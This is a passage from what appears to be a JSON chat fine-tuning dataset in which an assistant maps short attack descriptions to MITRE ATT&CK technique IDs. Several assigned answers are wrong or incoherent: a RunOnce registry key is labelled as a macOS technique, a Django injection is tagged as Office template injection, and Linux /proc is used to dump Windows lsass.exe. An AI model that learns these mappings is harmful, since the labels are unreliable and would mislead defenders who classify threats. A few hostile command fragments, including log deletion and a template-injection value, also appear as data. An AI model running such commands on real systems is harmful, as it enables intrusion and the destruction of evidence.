            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates registry keys to locate the installed antivirus product."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exfiltrates system logs by uploading them to a malicious Google Drive folder."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"net accounts /domain\" to pull the domain password policy, including required complexity and lockout thresholds."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a custom RPC protocol over port 8080, encrypting exfiltrated data with the public key of a remote server, thereby bypassing normal network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary executes PowerShell to set the firewall's default inbound policy to 'allow' on the target system."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a persistent channel over DNS queries to receive instructions from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker manipulates stored credentials in the Windows Credential Manager to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged stolen AWS access keys to list and copy S3 bucket contents containing sensitive logs."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using launchctl stop, the adversary temporarily halted antivirus processes before running their ransomware payload as a launch daemon."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs `net view /domain` to list domains that the compromised host trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses PowerShell to execute New-LocalUser and then adds the account to the local Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the client software installer to embed malicious code that runs with user privileges."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the RunOnce key to persist by reopening its payload whenever the user logs back into Windows."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised web application parses user‑provided XSL, allowing the attacker to run system commands through XSL script blocks."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary intercepts network traffic and alters the data payload before forwarding it to the destination."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a direct RDP session to a victim's Azure Virtual Machine over the internet."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers adjust the BIOS power management settings to disable automatic shutdown, preventing the host from rebooting after infection."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware performs dynamic API resolution for functions like GetMessageA and SendMessageW to evade signature-based detection."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved setting up a double proxy: first an internal compromised device, then an external server, effectively performing a multi-hop proxy to mask the attacker’s IP address."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat extracts Kerberos tickets from memory and creates forged tickets to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a spearphishing email with a malicious hyperlink that deploys a credential‑stealing script when the victim clicks and visits the site."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code executes a domain generation algorithm that produces domains with a fixed suffix and a varying prefix derived from system entropy."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload uses a timing attack that measures the time taken for a memory allocation; a debugger typically introduces latency."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a malicious .msc file with mmc.exe, leveraging the legitimate MMC binary as a proxy to run code with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this attack, the adversary used the built‑in Windows binary regsvr32 to execute a malicious JavaScript file hidden inside a DLL payload."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder performs a recursive scan of cloud storage objects across multiple accounts to map data assets."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion replaces the security service executable with a stub that reports a healthy status but does nothing."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker drops a malicious MSI installer that automatically runs when the user logs in, using the Windows Installer service to execute code."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses steganography to embed encrypted commands inside the least‑significant bits of a video file's frames, which are parsed by a custom decoder on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a rogue certificate authority that was mistakenly trusted by the target organization to sign a phishing tool, bypassing security policies."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the Windows WriteProcessMemory and SetThreadContext calls to inject a PE into a running process."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing /etc/pam.d/common-auth, the attacker replaces the standard authentication module with a custom one that forwards credentials to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool edits the /etc/profile settings to stop logging of commands entered by users."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using regsvr32, the adversary loaded a malicious COM scriptlet from an attacker-controlled server to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor drops its core binaries into a hidden encrypted container that is only mounted when a specific registry key is present."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised print server is used to push a custom port monitor to connected workstations, allowing the attacker to execute code during printer initialization."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the 'net user' command to add a privileged account, prompting the victim to confirm the action before the account is created."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom DLL calls the NetEnumerateTrustedDomains function to reveal cross-forest trust connections."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Criminals browse open-source bug trackers to locate zero‑day vulnerabilities in popular libraries."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email pretended to be from the internal IT helpdesk, containing a link to a fake password reset portal designed to harvest user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Group Policy to enforce a corporate Outlook Home Page redirect to a malicious server, ensuring execution on all domain PCs."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Script enumerates LXC containers using 'lxc-ls --fancy' to map running instances."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gained access to the CI/CD pipeline of a software vendor and injected malicious binaries into the release artifacts, affecting all customers who downloaded the updated version."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors inject a custom CLR profiler by modifying the COR_PROFILER registry key, hijacking execution flow of .NET processes."
            },
            {
                "role": "assistant",
                "content": "T1574.012 - Hijack Execution Flow: COR_PROFILER"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a user-level systemd service in ~/.config/systemd/user/ to run a stealthy keylogger."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages reflective loading to insert a PE payload into the memory of explorer.exe without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor disables Sysmon to stop detailed process monitoring."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the bootloader configuration to load a malicious image during system startup."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware drops a payload and re-parents it under explorer.exe, so the process hierarchy looks normal and evades detection."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor reads registry entries to extract the computer's domain membership and security policy settings."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware swaps the current OS image for an older, less patched build, allowing the attacker to exploit known bugs."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software registers a launchd plist on macOS to execute every night, transferring compromised documents to a malicious S3 bucket."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary installs a malicious launch daemon on macOS by adding a plist file to /Library/LaunchDaemons that executes a hidden script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A coordinated DDoS campaign directs thousands of compromised machines to send high-rate traffic to a single IP, directly flooding the network interface."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious request includes {% exec 'whoami' %} in a Django template, exploiting the template engine’s ability to run arbitrary OS commands."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a compromised service account to run a cron job that pulls database dumps and pushes them to a cloud storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Modifies firmware update files while they are being transferred over the network to include a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit gathers information about existing network sessions by parsing the output of network status commands."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encodes command and control messages with standard UTF-8 text to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated threat embeds a rootkit within a legitimate system service, allowing it to maintain persistence and stealth on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware loads the SAM hive file from C:\\Windows\\System32\\config\\SAM and extracts password hashes for all local accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that saves the victim's Windows credentials in a C:\\temp\\creds.txt file."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs the 'dsquery group -samid' command locally to list groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates the /proc filesystem to locate the lsass.exe process ID and then dumps its memory contents."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign utilizes the Mavinject utility to perform in-memory injection of a payload into a signed Windows binary, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team scripts create a new Docker container with a backdoor and connect it to the internal network for persistence."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deploys a custom Python script that parses the ~/Library/Keychains folder to extract saved website login credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed credential stuffing on a public-facing cloud login page, successfully logging in with stolen corporate cloud account passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a PowerShell script on macOS to execute \"rm -f /var/log/*.log\" and hide evidence."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by dropping a malicious executable into the “Program Files” directory and creating a shortcut in the Startup folder."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the Windows Credential Manager and exports saved usernames and passwords using a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exfiltrated data by embedding it in DNS queries sent over a cellular network."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged AppleScript to manipulate files and launch applications on macOS systems."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary installs a keylogger that captures email drafts and sent messages from the user's email client."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages a compromised corporate proxy to relay ransomware payloads across the network."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
